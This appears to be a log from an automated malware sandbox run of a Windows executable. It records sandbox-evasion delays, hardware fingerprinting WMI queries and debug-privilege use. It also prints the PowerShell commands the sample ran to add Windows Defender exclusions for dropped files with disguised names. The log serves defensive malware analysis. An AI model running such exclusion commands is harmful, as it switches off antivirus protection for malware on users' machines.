Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -583564s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -583406s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -583231s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -583050s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -582859s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -582703s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -582536s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -582380s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -582094s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8040	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -580047s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -579762s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -579547s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -579344s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -579156s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -578969s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -578810s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -578609s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -578406s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -578226s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -578085s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -577937s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -577734s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -577566s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -577406s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -577219s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -577031s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -576797s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -576594s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -576404s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -576219s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -575968s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -575828s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -575656s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -575437s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -575223s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -575094s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574984s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574866s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574731s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574622s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574514s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574406s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574297s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574187s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -574077s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573954s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573810s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573683s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573531s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573418s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573299s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573172s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -573062s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -572953s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -572841s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -572734s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7476	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Code function: 0_2_00007FFD9B8BEC5A GetSystemInfo,

0_2_00007FFD9B8BEC5A

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 30000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 599871
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 599765
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 599655
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 598696
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 598586
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 598125
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 597500
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 596828
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 596344
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 595891
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 595406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 595109
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 594781
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 594516
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 594234
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 593859
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 593516
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 593172
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 592859
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 592437
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 592172
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 591781
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 591437
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 591109
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 590640
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 590422
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 590094
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 589562
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 589109
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 588719
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 588266
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 587750
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 587250
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 586672
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 586250
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 585922
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 585469
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 585062
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 584547
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 584171
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583969
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583772
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583564
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583231
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583050
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582859
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582703
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582536
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582380
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582094
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 300000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 580047
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579762
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579547
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579344
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579156
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578969
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578810
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578609
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578226
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578085
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577937
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577734
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577566
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577219
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577031
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576797
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576594
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576404
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576219
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575968
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575828
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575656
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575437
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575223
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575094
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574984
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574866
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574731
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574622
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574514
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574297
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574187
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574077
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573954
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573810
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573683
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573531
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573418
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573299
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573172
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573062
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 572953
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 572841
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 572734

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: w32tm.exe, 0000000E.00000002.1726809984.000002026D769000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe'
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe'
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe'	Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
